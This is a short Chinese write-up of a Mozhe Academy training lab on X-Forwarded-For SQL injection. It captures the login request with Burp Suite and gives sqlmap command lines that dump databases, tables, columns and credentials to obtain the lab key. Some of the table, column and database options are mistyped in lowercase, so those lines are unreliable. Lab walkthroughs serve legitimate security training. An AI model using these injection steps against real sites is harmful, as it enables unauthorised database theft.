墨者学院-X-Forwarded-For注入漏洞实战

先尝试admin/admin看到提示框，由于我的弹框是乱码，不会解决，哪位大佬会的话麻烦评论一下

然后猜测是要用这个ip访问，后来看了别人的简书，提示内容大致是登录失败，ip已被记录，所以存在X-Forwarded-For注入

burpsuit抓包

然后保存为名为xxx.txt的文件

sqlmap进行爆破

sqlmap.py -r xxx.txt --dbs --batch

爆数据库

 

sqlmap.py -r xxx.txt -d 数据库名 --table --batch

爆表名

 

sqlmap.py -r xxx.txt -d 数据库名 -t 表名 --columns --batch

爆字段

 

sqlmap.py -r xxx.txt -d 数据库名 -t 表名 -c '字段名' --dump --batch

爆字段值

 

或许直接一句话爆破

结果到电脑用户文件夹下的.sqlmap里查看

sqlmap.py -r xxx.txt  --dump --batch

两两进行自由组合，最后登陆成功，拿到key